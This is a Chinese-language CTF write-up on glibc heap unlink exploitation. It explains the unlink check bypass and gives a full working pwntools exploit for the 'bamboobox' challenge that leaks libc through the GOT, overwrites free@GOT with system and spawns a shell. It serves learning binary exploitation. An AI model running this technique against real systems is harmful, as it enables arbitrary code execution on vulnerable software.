# PWN_unlink 了解学习
# 原理:
我们在利用 unlink 所造成的漏洞时,其实就是对 chunk 进行内存布局,然后借助 unlink 操作来达成修改指针的效果。
注意这里的是修改指针
简单的介绍下 unlink,其实 ctfwiki 有介绍,这里简单介绍下:
1. 首先找到要进行unlink的chunk(这里记为P)的前后堆块,
FD = P->fd, BK = P->bk。
2. 进行安全检查,glibc2.23的潦草判断条件如下
FD->bk == P, BK->fd == P。
3. 然后执行FD->bk=BK, BK->fd=FD。
4. 当某个non-fast大小的chunk被释放时,就会根据PREV_INUSE位检查其前后堆块是否处于释放状态,如果是就会将前面或后面的堆块取出并与当前堆块合并。取出前面或后面的堆块P的过程就是unlink
这里就是我们需要构造 fake_chunk 去绕过检查,利用 unlink 漏洞,去达到我们想要达成的效果。
- 利用 pwn unlink 漏洞可以实现以下攻击:
- 泄露内存:通过 unlink 漏洞,可以将两个相邻的堆块合并,导致一个已经释放的堆块中的指针被篡改。通过修改指针的值,可以泄露堆中的敏感信息,如函数指针、堆块头部数据等。
- 任意内存写:通过 unlink 漏洞,可以修改已经释放的堆块的前后指针,从而实现任意内存写。这可以用来修改关键数据结构,如堆块头部、全局变量等,进而控制程序的执行流程。
- 执行任意代码:通过泄露函数指针或修改返回地址等方式,可以篡改程序的控制流,从而实现代码执行。这可以用来执行恶意代码、获取系统权限等。
利用思路 ¶
条件 ¶
- UAF ,可修改 free 状态下 smallbin 或是 unsorted bin 的 fd 和 bk 指针
- 已知位置存在一个指针指向可进行 UAF 的 chunk
效果 ¶
使得已指向 UAF chunk 的指针 ptr 变为 ptr - 0x18
思路 ¶
设指向可 UAF chunk 的指针的地址为 ptr
- 修改 fd 为 ptr - 0x18
- 修改 bk 为 ptr - 0x10
- 触发 unlink
ptr 处的指针会变为 ptr - 0x18。
光讲原理,很枯燥乏味。上个题目,提提兴趣。
# 题目来源:
# 例行检查:
# 执行程序:
给了个菜单,一共 5 个 node。这里就不一一执行了。
# IDA 看源代码:
- main:
可以看到很多函数。这里简单讲一下吧。程序首先申请了 0x10 字节大小的堆空间。并将返回的指针赋予 v4 变量。将 v4 [0] 的函数指针指向 hello_message 内容,v4 [1] 的函数指针指向 goodbye_message 的内容。然后开头打印 v4 [0] 指向的内容。接着进行循环,每循环一次都会调用 menu 函数,并且输入一个不长于 8 字节的数字,然后将输入的数字转换成整数进行 switch 匹配。
- add_item:
add 要求输入大小和内容。在这里可以很明显的发现一块 bss 段地址。因为 bss 段可以任意读写,所以可以通过 unlink 漏洞在 bss 段写入 got 地址,从而可以泄露 libc 地址
- remove_item:
不存在 uaf 漏洞,但是可以利用 free 一个非 fastbins 大小的 chunk,去触发 unlink 漏洞。
-
change_item:
注释即使重点!
-
show_item:
利用这里的输出,可以去打印处 libc 地址
# exp 构造过程:
add_item(0x40,b'a' * 8) | |
add_item(0x80,b'b' * 8) | |
add_item(0x70,b'c' * 8)# To stop merging chunk | |
add_item(0x20,b'/bin/sh\x00') |
首先 make chunk。
ptr=0x6020c8#指向 itemlist 内容 | |
fd=ptr-0x18 | |
bk=ptr-0x10 | |
fake_chunk=p64(0) | |
fake_chunk+=p64(0x41) | |
fake_chunk+=p64(fd) | |
fake_chunk+=p64(bk) | |
fake_chunk+=b'\x00'*0x20 | |
fake_chunk+=p64(0x40) | |
fake_chunk+=p64(0x90) | |
edit(0,len(fake_chunk),fake_chunk)#堆溢出,改写 chunk1 的头,为后续 unlink 触发。 | |
free(1)#触发 unlink, 使 chunk0 指向 itemlist 内容 |
接下来就是泄露 libc,然后去覆盖 got 地址。执行 shell 函数。
# 最终的 exp:
from LibcSearcher import* | |
from pwn import * | |
context(arch='amd64',os='linux',log_level='debug') | |
# r = remote('node4.buuoj.cn',25461) | |
# r = gdb.debug('./bamboobox') | |
r = process('./bamboobox') | |
elf = ELF('./bamboobox') | |
se = lambda data :r.send(data) | |
sa = lambda delim,data :r.sendafter(delim, data) | |
sl = lambda data :r.sendline(data) | |
sla = lambda delim,data :r.sendlineafter(delim, data) | |
sea = lambda delim,data :r.sendafter(delim, data) | |
rc = lambda numb=4096 :r.recv(numb) | |
rl = lambda :r.recvline() | |
ru = lambda delims :r.recvuntil(delims) | |
uu32 = lambda data :u32(data.ljust(4, b'\0')) | |
uu64 = lambda data :u64(data.ljust(8, b'\0')) | |
lic = lambda data :uu64(ru(data)[-6:]) | |
pack = lambda str, addr :p32(addr) | |
padding = lambda lenth :b'Yhuan'*(lenth//5)+b'Y'*(lenth % 5) | |
it = lambda :r.interactive() | |
def show(): | |
r.sendlineafter("Your choice:", b"1") | |
def add_item(length,context): | |
r.recvuntil("Your choice:") | |
r.sendline(b"2") | |
r.recvuntil("Please enter the length of item name:") | |
r.sendline(str(length)) | |
r.recvuntil("Please enter the name of item:") | |
r.send(context) | |
def edit(idx,length,context): | |
r.recvuntil("Your choice:") | |
r.sendline(b"3") | |
r.recvuntil("Please enter the index of item:") | |
r.sendline(str(idx)) | |
r.recvuntil("Please enter the length of item name:") | |
r.sendline(str(length)) | |
r.recvuntil("Please enter the new name of the item:") | |
r.send(context) | |
def free(idx): | |
r.recvuntil("Your choice:") | |
r.sendline(b"4") | |
r.recvuntil("Please enter the index of item:") | |
r.sendline(str(idx)) | |
def exit(): | |
sa('Your choice:',b'5') | |
add_item(0x40,b'a' * 8) | |
add_item(0x80,b'b' * 8) | |
add_item(0x70,b'c' * 8)# To stop merging chunk | |
add_item(0x20,b'/bin/sh\x00') | |
ptr=0x6020c8 | |
fd=ptr-0x18 | |
bk=ptr-0x10 | |
fake_chunk=p64(0) | |
fake_chunk+=p64(0x41) | |
fake_chunk+=p64(fd) | |
fake_chunk+=p64(bk) | |
fake_chunk+=b'\x00'*0x20 | |
fake_chunk+=p64(0x40) | |
fake_chunk+=p64(0x90) | |
edit(0,len(fake_chunk),fake_chunk) | |
free(1) | |
free_got=elf.got['free'] | |
log.info("free_got:%x",free_got) | |
payload=p64(0)+p64(0)+p64(0x40)+p64(free_got) | |
edit(0,len(fake_chunk),payload) | |
show() | |
free_addr=lic('\x7f') | |
log.info("free_addr:%x"%free_addr) | |
libc=LibcSearcher('free',free_addr) | |
libc_base=free_addr-libc.dump('free') | |
log.info("libc_addr:%x",libc_base) | |
system_addr=libc_base+libc.dump('system') | |
log.info("system_addr:%x",system_addr) | |
edit(0,0x8,p64(system_addr))#改写 got 表内容 | |
free(3) | |
it() |
# 总结:
unlink 这里比较的绕,其实不难,但是是去理解指针的指向需要花费一点时间,现在还是不太熟练,要继续加油。